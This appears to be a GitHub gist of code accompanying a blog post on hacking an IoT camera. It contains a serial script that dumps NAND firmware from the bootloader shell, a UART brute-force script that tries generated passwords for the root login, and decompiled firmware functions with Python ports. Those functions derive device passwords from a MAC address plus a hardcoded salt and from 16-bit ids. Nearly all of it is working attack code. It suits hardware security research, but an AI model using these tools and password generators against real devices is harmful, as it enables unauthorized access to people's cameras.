Created
October 15, 2025 05:28
-
-
Save astr0n8t/e56ec2bb9988a93f3ab605629cc27c38 to your computer and use it in GitHub Desktop.
IoT Camera Hacking: https://blog.nathanhigley.com/posts/iotcamerahacking/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import serial | |
| import time | |
| # Serial port configuration | |
| serial_port = '/dev/tty.usbserial-0001' | |
| baud_rate = 115200 | |
| ser = serial.Serial(serial_port, baud_rate, timeout=1) | |
| num_of_pages = 65535 | |
| def get_shell(): | |
| ser.flush() | |
| time.sleep(0.1) | |
| line = ser.readline().decode('utf-8', errors='ignore').strip() | |
| while 'amboot>' not in line.lower(): | |
| print(line) | |
| ser.write('\n'.encode()) | |
| time.sleep(0.1) | |
| line = ser.readline().decode('utf-8', errors='ignore').strip() | |
| def dump_nand_page(id): | |
| data = bytearray() | |
| payload = 'nand dump ' + str(id) + '\n' | |
| ser.write(payload.encode()) | |
| time.sleep(0.01) | |
| line = ser.readline().decode('utf-8', errors='ignore').strip() | |
| while 'main data:' not in line.lower(): | |
| time.sleep(0.01) | |
| line = ser.readline().decode('utf-8', errors='ignore').strip() | |
| line = ser.readline().decode('utf-8', errors='ignore').strip() | |
| while 'spare data:' not in line.lower(): | |
| array = line.split(' ') | |
| for byte in array: | |
| data += bytearray.fromhex(byte) | |
| time.sleep(0.01) | |
| line = ser.readline().decode('utf-8', errors='ignore').strip() | |
| ser.flush() | |
| return data | |
| with open('firmware.bin', 'ab') as file: | |
| get_shell() | |
| for i in range(0,num_of_pages+1): | |
| data = dump_nand_page(i) | |
| file.write(data) | |
| ser.close() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import machine | |
| import time | |
| from machine import Pin | |
| led = Pin("LED", Pin.OUT) | |
| # Configure UART0 (GPIO 0 = TX, GPIO 1 = RX) at 115200 baud | |
| uart = machine.UART(0, 115200, tx=0, rx=1) | |
| uart.init(115200, bits=8, parity=None, stop=1) | |
| # Lists to brute force | |
| usernames = ['root'] | |
| def try_login(username, password): | |
| time.sleep(0.1) | |
| attempts = 0 | |
| while not uart.any(): | |
| uart.write('\n'.encode()) | |
| time.sleep(0.1) | |
| line = uart.read().decode('utf-8').strip() | |
| print(line) | |
| while 'oc845ffa18d login:' not in line.lower(): | |
| print(line) | |
| uart.write('\n'.encode()) | |
| time.sleep(0.1) | |
| while not uart.any(): | |
| time.sleep(0.1) | |
| line = uart.read().decode('utf-8').strip() | |
| uart.write((username + '\n').encode()) | |
| time.sleep(0.5) | |
| while not uart.any(): | |
| time.sleep(0.1) | |
| line = uart.read().decode('utf-8').strip() | |
| print(line) | |
| while 'password:' not in line.lower(): | |
| time.sleep(0.1) | |
| while not uart.any(): | |
| time.sleep(0.1) | |
| line = uart.read().decode('utf-8').strip() | |
| print(line) | |
| uart.write((password + '\n').encode()) | |
| led.off() | |
| time.sleep(4) | |
| led.on() | |
| while not uart.any(): | |
| time.sleep(0.1) | |
| response = uart.read().decode('utf-8') | |
| print("Received response: ") | |
| print(response) | |
| print("End attempt") | |
| if '#' in response or '$' in response or 'sh:' in response: # Shell prompt indicators | |
| return True, response | |
| else: | |
| return False, response | |
| return False, "No login prompt found" | |
| # Brute force loop | |
| for username in usernames: | |
| for id in range(0,0xffff): | |
| tried = False | |
| while not tried: | |
| try: | |
| password = generate_password_from_id(id) | |
| success, response = try_login(username, password) | |
| tried = True | |
| except Exception as e: | |
| pass | |
| print(f"Tried {username}/{password}: {'Success' if success else 'Fail'}") | |
| if success: | |
| print(f"Successful login! Response: {response}") | |
| while True: | |
| for x in range(0,30): | |
| led.on() | |
| sleep(.1) | |
| led.off() | |
| print(f"Used {username}/{password}") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| generatePasswordFromMAC(char *mac,size_t maclen) | |
| { | |
| int iVar1; | |
| size_t sVar2; | |
| size_t __n; | |
| size_t maclen_local; | |
| char *mac_local; | |
| uchar obuf [20]; | |
| uchar[0] *ibuf; | |
| int i; | |
| maclen_local = maclen; | |
| mac_local = mac; | |
| adcStrupper(mac); | |
| __n = maclen_local + 0x21; | |
| iVar1 = -(maclen_local + 0x28 & 0xfffffff8); | |
| memset((void *)((int)&maclen_local + iVar1),0,__n); | |
| strncpy((char *)((int)&maclen_local + iVar1),mac_local,__n); | |
| sVar2 = strlen((char *)((int)&maclen_local + iVar1)); | |
| strncat((char *)((int)&maclen_local + iVar1),"06D58FFA826502BA52D3317A95169346",(__n - sVar2) - 1) | |
| ; | |
| obuf[0] = '\0'; | |
| obuf[1] = '\0'; | |
| obuf[2] = '\0'; | |
| obuf[3] = '\0'; | |
| obuf[4] = '\0'; | |
| obuf[5] = '\0'; | |
| obuf[6] = '\0'; | |
| obuf[7] = '\0'; | |
| obuf[8] = '\0'; | |
| obuf[9] = '\0'; | |
| obuf[10] = '\0'; | |
| obuf[0xb] = '\0'; | |
| obuf[0xc] = '\0'; | |
| obuf[0xd] = '\0'; | |
| obuf[0xe] = '\0'; | |
| obuf[0xf] = '\0'; | |
| obuf[0x10] = '\0'; | |
| obuf[0x11] = '\0'; | |
| obuf[0x12] = '\0'; | |
| obuf[0x13] = '\0'; | |
| sVar2 = strlen((char *)((int)&maclen_local + iVar1)); | |
| SHA1((uchar *)((int)&maclen_local + iVar1),sVar2,obuf); | |
| for (i = 0; i < 6; i = i + 1) { | |
| printf("%02x",(uint)obuf[i]); | |
| } | |
| return; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import hashlib | |
| def generatePasswordFromMAC(mac, maclen): | |
| # Convert mac string to uppercase (equivalent to adcStrupper) | |
| mac = mac.upper() | |
| # Calculate buffer size and alignment | |
| __n = maclen + 0x21 | |
| iVar1 = -(maclen + 0x28 & 0xfffffff8) # Align to 8-byte boundary | |
| # Create a bytearray for string operations (simulating C's memory buffer) | |
| buffer = bytearray(__n) | |
| buffer[:maclen] = mac.encode() # Copy mac into buffer | |
| # Append the constant string | |
| constant = "06D58FFA826502BA52D3317A95169346" | |
| buffer[maclen:maclen + len(constant)] = constant.encode() | |
| # Compute SHA-1 hash of the buffer | |
| obuf = hashlib.sha1(buffer[:maclen + len(constant)]).digest() | |
| # Print first 6 bytes of the hash in hexadecimal | |
| for i in range(6): | |
| print(f"{obuf[i]:02x}", end="") | |
| return | |
| mac = "0a0a0a0a0a0a" | |
| generatePasswordFromMAC(mac, len(mac)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| undefined4 id2pwd(ushort param_1,undefined1 *param_2) | |
| { | |
| undefined4 local_74; | |
| undefined1 auStack_68 [16]; | |
| undefined1 auStack_58 [16]; | |
| undefined1 auStack_48 [16]; | |
| undefined1 auStack_38 [16]; | |
| undefined1 auStack_28 [20]; | |
| memcpy(auStack_28,"ABCDEFGHIJABCDEF[SYSTEM]",0x10); | |
| memcpy(auStack_38,"qrstuvwxyzqrstuvABCDEFGHIJABCDEF[SYSTEM]",0x10); | |
| memcpy(auStack_48,"0123456789012345qrstuvwxyzqrstuvABCDEFGHIJABCDEF[SYSTEM]",0x10); | |
| memcpy(auStack_58,"!@#_+!@#_+!@#_+!0123456789012345qrstuvwxyzqrstuvABCDEFGHIJABCDEF[SYSTEM]",0x10) | |
| ; | |
| memcpy(auStack_68, | |
| "0123456789ABCDEF!@#_+!@#_+!@#_+!0123456789012345qrstuvwxyzqrstuvABCDEFGHIJABCDEF[SYSTEM]", | |
| 0x10); | |
| if (param_2 == (undefined1 *)0x0) { | |
| local_74 = 0xffffffff; | |
| } | |
| else { | |
| *param_2 = auStack_28[param_1 >> 0xc]; | |
| param_2[1] = auStack_38[param_1 >> 8 & 0xf]; | |
| param_2[2] = auStack_48[param_1 >> 4 & 0xf]; | |
| param_2[3] = auStack_58[param_1 & 0xf]; | |
| param_2[4] = auStack_68[param_1 >> 0xc]; | |
| param_2[5] = auStack_68[param_1 >> 8 & 0xf]; | |
| param_2[6] = auStack_68[param_1 >> 4 & 0xf]; | |
| param_2[7] = auStack_68[param_1 & 0xf]; | |
| param_2[8] = 0; | |
| local_74 = 0; | |
| } | |
| return local_74; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def generate_password_from_id(user_id: int) -> str: | |
| # Corrected character sets based on first 16 bytes | |
| char_set1 = "ABCDEFGHIJABCDEF" | |
| char_set2 = "qrstuvwxyzqrstuv" | |
| char_set3 = "0123456789012345" | |
| char_set4 = "!@#_+!@#_+!@#_+!" | |
| char_set5 = "0123456789ABCDEF" | |
| # Extract 4-bit indices | |
| index1 = user_id >> 0xc | |
| index2 = (user_id >> 8) & 0xf | |
| index3 = (user_id >> 4) & 0xf | |
| index4 = user_id & 0xf | |
| # Generate password | |
| password = ( | |
| char_set1[index1] + | |
| char_set2[index2] + | |
| char_set3[index3] + | |
| char_set4[index4] + | |
| char_set5[index1] + | |
| char_set5[index2] + | |
| char_set5[index3] + | |
| char_set5[index4] | |
| ) | |
| return password | |
| # Test | |
| if __name__ == "__main__": | |
| test_ids = [0x0009, 0x0025, 0x018d, 0x0057, 0xffff] | |
| for user_id in test_ids: | |
| password = generate_password_from_id(user_id) | |
| print(f"User ID: 0x{user_id:04x}, Password: {password}") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| undefined4 id2pwd(uint param_1,char *param_2) | |
| { | |
| char cVar1; | |
| char cVar2; | |
| char cVar3; | |
| char cVar4; | |
| char cVar5; | |
| char cVar6; | |
| char cVar7; | |
| undefined4 uVar8; | |
| uint uVar9; | |
| uint uVar10; | |
| char local_78 [84]; | |
| builtin_strncpy(local_78, | |
| "ABCDEFGHIJABCDEFqrstuvwxyzqrstuv0123456789012345!@#_+!@#_+!@#_+!0123456789ABCDEF" | |
| ,0x50); | |
| if (param_2 == (char *)0x0) { | |
| uVar8 = 0xffffffff; | |
| } | |
| else { | |
| uVar9 = (param_1 << 0x14) >> 0x1c; | |
| uVar10 = (param_1 << 0x18) >> 0x1c; | |
| cVar1 = local_78[uVar9 + 0x40]; | |
| uVar8 = 0; | |
| cVar2 = local_78[uVar10 + 0x20]; | |
| cVar3 = local_78[uVar10 + 0x40]; | |
| cVar4 = local_78[(param_1 & 0xf) + 0x30]; | |
| cVar5 = local_78[(param_1 & 0xf) + 0x40]; | |
| cVar6 = local_78[param_1 >> 0xc]; | |
| cVar7 = local_78[(param_1 >> 0xc) + 0x40]; | |
| param_2[1] = local_78[uVar9 + 0x10]; | |
| param_2[5] = cVar1; | |
| param_2[2] = cVar2; | |
| param_2[6] = cVar3; | |
| param_2[3] = cVar4; | |
| param_2[7] = cVar5; | |
| *param_2 = cVar6; | |
| param_2[4] = cVar7; | |
| param_2[8] = '\0'; | |
| } | |
| return uVar8; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def id2pwd(param_1): | |
| # Initialize the character array (string in Python) | |
| dictionary = "ABCDEFGHIJABCDEFqrstuvwxyzqrstuv0123456789012345!@#_+!@#_+!@#_+!0123456789ABCDEF" | |
| passwd = [ | |
| '0', | |
| '0', | |
| '0', | |
| '0', | |
| '0', | |
| '0', | |
| '0', | |
| '0', | |
| '0', | |
| ] | |
| # Bit manipulations to extract indices | |
| uVar9 = (param_1 << 0x14) >> 0x1c # Equivalent to (param_1 << 20) >> 28 | |
| uVar10 = (param_1 << 0x18) >> 0x1c # Equivalent to (param_1 << 24) >> 28 | |
| # Extract characters from dictionary based on calculated indices | |
| cVar1 = dictionary[uVar9 + 0x40] | |
| cVar2 = dictionary[uVar10 + 0x20] | |
| cVar3 = dictionary[uVar10 + 0x40] | |
| cVar4 = dictionary[(param_1 & 0xf) + 0x30] | |
| cVar5 = dictionary[(param_1 & 0xf) + 0x40] | |
| cVar6 = dictionary[param_1 >> 0xc] | |
| cVar7 = dictionary[(param_1 >> 0xc) + 0x40] | |
| # Build the output string in passwd (assumed to be a list or bytearray for mutability) | |
| passwd[1] = dictionary[uVar9 + 0x10] | |
| passwd[5] = cVar1 | |
| passwd[2] = cVar2 | |
| passwd[6] = cVar3 | |
| passwd[3] = cVar4 | |
| passwd[7] = cVar5 | |
| passwd[0] = cVar6 | |
| passwd[4] = cVar7 | |
| passwd[8] = '\0' # Null-terminate the string | |
| passwd_str = "" | |
| for char in passwd: | |
| passwd_str += char | |
| return passwd_str | |
| print(id2pwd(0x57)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment